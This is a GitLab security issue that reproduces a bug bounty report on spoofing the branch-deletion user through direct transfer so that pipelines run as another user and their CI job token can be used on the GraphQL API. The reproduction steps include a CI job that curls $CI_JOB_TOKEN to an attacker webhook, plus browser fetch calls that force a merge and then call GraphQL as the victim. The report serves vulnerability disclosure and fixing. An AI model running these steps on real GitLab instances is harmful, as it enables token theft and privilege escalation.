[go: up one dir, main page]

Skip to content

Run pipelines as any user and access GraphQL Api

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2536320 by ahacker1 on 2024-06-04, assigned to H1 Triage:

Report | How To Reproduce

Report

Summary

By spoofing the branch_deletion_user via direct transfer, it's possible to delete the source branch of an MR as any user. This causes merge requests that target the source branch to retarget/switch to another branch, the spoofed user being responsible for this change. By switching the target branch, a new CI pipeline will be trigger, on behalf of the spoofed user. This allows the attacker to obtain a CI/CD job token that belongs to any user. The CI/CD job token can access the GraphQL api through basic authentication (details of bypass below), so an attacker can execute any GraphQL operation on behalf of the spoofed user.

See:
app/services/merge_requests/merge_service.rb
Where

    def after_merge  
...  
      if delete_source_branch?  
        MergeRequests::DeleteSourceBranchWorker.perform_async([@]merge_request.id, [@]merge_request.source_branch_sha, branch_deletion_user.id)  
      end

      merge_request_merge_param  
    end  
...

    def branch_deletion_user  
      [@]merge_request.force_remove_source_branch? ? [@]merge_request.author : current_user  
    end  

branch_deletion_user can be the author of the MR, (spoofable by direct transfer).

In, MergeRequests::DeleteSourceBranchWorker, MergeRequests::RetargetChainService is called


class MergeRequests::DeleteSourceBranchWorker  
  def perform(merge_request_id, source_branch_sha, user_id)  
...

    ::MergeRequests::RetargetChainService.new(project: merge_request.source_project, current_user: user)  
            .execute(merge_request)

    ::Projects::DeleteBranchWorker.new.perform(merge_request.source_project.id, user_id, merge_request.source_branch)  
  rescue ActiveRecord::RecordNotFound  
  end  
end  

Which updates merge requests:

module MergeRequests  
  class RetargetChainService < MergeRequests::BaseService  
...  
    def execute(merge_request)  
      # we can only retarget MRs that are targeting the same project  
      return unless merge_request.for_same_project? && merge_request.merged?

      # find another merge requests that  
      # - as a target have a current source project and branch  
      other_merge_requests = merge_request.source_project  
        .merge_requests  
        .opened  
        .by_target_branch(merge_request.source_branch)  
        .preload_source_project  
        .limit(MAX_RETARGET_MERGE_REQUESTS)

      other_merge_requests.find_each do |other_merge_request|  
        # Update only MRs on projects that we have access to  
        next unless can?(current_user, :update_merge_request, other_merge_request.source_project)

        ::MergeRequests::UpdateService.new(  
          project: other_merge_request.source_project,  
          current_user: current_user,  
          params: {  
            target_branch: merge_request.target_branch,  
            target_branch_was_deleted: true  
          }  
        ).execute(other_merge_request)

        if Feature.enabled?(:rebase_when_retargetting_mrs, other_merge_request.project, type: :gitlab_com_derisk)  
          other_merge_request.rebase_async(current_user.id)  
        end  
      end  
    end  
  end  
end  

By MergeRequests::UpdateService, the target_branch changes, thus triggering a pipeline on behalf of the user.

Note that, other_merge_request.rebase_async(current_user.id) is also called, which may trigger pipelines as well, but this is behind a feature flag.

GraphQL Api access w/ CI/CD job token (only works on self hosted)

GraphQL api (on self-hosted) uses find_sessionless_user to get current user.

      def find_sessionless_user(request_format)  
        find_user_from_dependency_proxy_token ||  
          find_user_from_web_access_token(request_format, scopes: [:api, :read_api]) ||  
          find_user_from_feed_token(request_format) ||  
          find_user_from_static_object_token(request_format) ||  
          find_user_from_job_token_basic_auth ||  
          find_user_from_job_token ||  
          find_user_from_personal_access_token_for_api_or_git ||  
          find_user_for_git_or_lfs_request  
      rescue Gitlab::Auth::AuthenticationError  
        nil  
      end  

For find_user_from_job_token_basic_auth , there is no checks whether job tokens are permitted:

     def find_user_from_job_token_basic_auth  
        return unless has_basic_credentials?(current_request)

        login, password = user_name_and_password(current_request)  
        return unless login.present? && password.present?  
        return unless ::Gitlab::Auth::CI_JOB_USER == login

        job = find_valid_running_job_by_token!(password.to_s)  
        [@]current_authenticated_job = job # rubocop:disable Gitlab/ModuleWithInstanceVariables

        job.user  
      end  

Instead the checks for whether the route is accessible by job tokens is only present in find_user_from_job_token .

There are also some other APIs/routes that rely on find_sessionless_user, most notably, the rss,ics feeds along with archive,blob. So an attacker can also access those as well.

( This would not work on GitLab.com because the :graphql_minimal_auth_methods feature flag is enabled:

  # must come first: current_user is set up here  
  before_action(only: [:execute]) do  
    if Feature.enabled? :graphql_minimal_auth_methods  
      authenticate_graphql  
    else  
      authenticate_sessionless_user!(:api)  
    end  
  end  

so the authenticate_graphql function is used instead (which does not allow authentication via CI/CD job token)
)

Steps to Reproduce

Note, you will need two gitlab instances to reproduce - a victim instance, and an attacker owned instance.

  • Attacked-owned should have https
  • Victim owned instance should have instance/project runners on. AND direct transfer by group enabled. Can enable as admin: http://gdk.test/admin/application_settings/general , allow migrating GL groups and projects by direct transfer
Inside Attacker owned instance (https://gitlab.attacker.com) , note https w/ ssl is required.
  1. Create two accounts on gitlab.attacker.com (attacker and victim)

  2. Log in as an admin on the attacker instance https://gitlab.attacker.com

  3. Create a user on the attacker instance using the victim's email, and validate the user as the admin. (Note that the victim's git email can also be used, and it is determined by username + id @ replydomain, without any guessing involved. You can try using git email in a second run of the vulnerability.).

  4. Make sure to put the victim email on the fake user as a "public email"

  5. Log out and log back into the attacker instance as the fake victim user

  6. Create a new group spoof

  7. Create a project in the group project1

  8. Inside the project1, (logged in as victim user):

Replace WEBHOOK_URL with your logging url, e.g. burp collaborator or url generated from webhook.site e.g. https://webhook.site/UUID
File name: .gitlab-ci.yml

stages:  
  - notify

notify_webhook:  
  stage: notify  
  script:  
    - >  
      curl -X POST WEBHOOK_URL  
      -H "Content-Type: application/json"   
      -d '{"gitlab_job_token": "'$CI_JOB_TOKEN'"}'

    - sleep 600  
  rules:  
    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'  
  • Make a merge request from mergedeletebranch to main

  • Then, create the branch sourcebranch from ==mergedeletebranch==

  • Add any valid commit to sourcebranch e.g. add a new file

  • Make a merge request from sourcebranch into ==mergedeletebranch==

do not attempt to merge any MRs yet.

As attacker, Import group into the victim's gitlab instance
  1. Generate access token on attacker's instance: (https://gitlab.attacker.com/-/user_settings/personal_access_tokens) with api and write_repository scopes
  2. Import the spoof group on attacker:
  1. Import spoof group, with no/any parent. Make sure to select Import with projects

  2. Visit imported project (may take sometime for finish import) e.g. spoof/project inside victim instance.

  3. View merge request #1 (closed) e.g. spoof/project/-/merge_requests/1

(Ensure that the iid is #1 (closed) not #2 (closed))

  1. Send the fetch request to merge request with force_remove_source_branch. (Regular merging won't set force_remove_source_branch as true, so use fetch):
    Run code in console in devtools (while on merge request)
var csrf_token = document.getElementsByName("csrf-token")[0].getAttribute("content")  
SHA = ``  
await(await fetch("http://gdk.test/0importgroup10/test/-/merge_requests/1/merge", {  
  "headers": {  
    "accept": "application/json, text/plain, */*",  
    "content-type": "application/json",  
    "x-csrf-token": csrf_token,  
    "x-requested-with": "XMLHttpRequest"  
  },  
  "referrerPolicy": "strict-origin-when-cross-origin",  
  "body": JSON.stringify({  
    "sha": SHA,  
    "commit_message": "Merge branch 'mergedeletebranch' into 'main'\n\nAdd new file\n\nSee merge request 0importgroup10/test!1",  
    "force_remove_source_branch": true,  
    "squash": false,  
    "skip_merge_train": false,  
    "squash_commit_message": "Add new file"  
}),  
  "method": "POST",  
  "mode": "cors",  
  "credentials": "include"  
})).json()  
  1. Visit Merge request #2 (closed) pipelines, noting that a pipeline has been created on behalf of the spoofed user e.g. admin.
  2. Going to logging site e.g. webhook.site, use the token sent to send api request:
  3. Run in console. Make sure to run in same origin as the victim gitlab host. e.g. run in devtools console of https://gitlab.victim.com.
  • replace, VICTIM_GITLAB_HOST and CI_CD_TOKEN
  • replace http with https if the request fails
CI_CD_TOKEN = `` // CI/CD token from step 8  
auth_header = btoa(`gitlab-ci-token:${CI_CD_TOKEN}`)

await(await fetch("http://VICTIM_GITLAB_HOST/api/graphql", {  
  "headers": {  
    "accept": "application/json, text/plain, */*",  
    "content-type": "application/json",  
    "authorization": `Basic ${auth_header}`  
  },  
  "referrerPolicy": "strict-origin-when-cross-origin",  
  "body": JSON.stringify({  
      "query": `query {currentUser{id username}}`  
}),  
  "method": "POST",  
  "mode": "cors",  
  "credentials": "include"  
})).json()  

Experiment with other GraphQL apis as needed. Note that it cannot access project level resources. But it can access/mutate all other resources such groups, or users, or instance wide.

Impact

Run GraphQL api calls as any user e.g. admin.

Integrity: H, createRunner, and many others. Works for instance runner and group runners. AND updateGroupBulkMembership to escalate to group owner ...
C: H, createRunner mutation
A: L AdminSidekiqQueuesDeleteJobs mutation, delete running sidekiq jobs, hence loss of availability.

AC: L, as we can use git email as well to import and this is fixed for any given user.

Examples

...

What is the current bug behavior?

The user that is responsible for retargeting a branch (after target branch is deleted) is set as the author, which can be attacker-controlled via direct transfer.

AND

GraphQL Api/and other endpoints (feeds) allow CI/CD Job tokens

What is the expected correct behavior?

The user that merged the MR should be responsible for retargeting a branch (although if a user accidentally merges a MR, it may also trigger a pipeline. However, this require more user interaction and mitigated by project scoping of CI tokens)

AND

GraphQL Api/and other endpoints (feeds) **should not allow ** CI/CD Job tokens

Results of GitLab environment info
System information  
System:         Ubuntu 22.04  
Proxy:          no  
Current User:   git  
Using RVM:      no  
Ruby Version:   3.1.5p253  
Gem Version:    3.5.9  
Bundler Version:2.5.9  
Rake Version:   13.0.6  
Redis Version:  7.0.15  
Sidekiq Version:7.1.6  
Go Version:     unknown

GitLab information  
Version:        17.0.1-ee  
Revision:       cf71f280df3  
Directory:      /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:     PostgreSQL  
DB Version:     14.11  
URL:            http://gdk.test  
HTTP Clone URL: http://gdk.test/some-group/some-project.git  
SSH Clone URL:  git@gdk.test:some-group/some-project.git  
Elasticsearch:  no  
Geo:            no  
Using LDAP:     no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:        14.35.0  
Repository storages:  
- default:      unix:/var/opt/gitlab/gitaly/gitaly.socket  
GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell

Gitaly  
- default Address:      unix:/var/opt/gitlab/gitaly/gitaly.socket  
- default Version:      17.0.1  
- default Git Version:  2.44.1.gl1  

Impact

As mentioned above.

How To Reproduce

Please add reproducibility information to this section: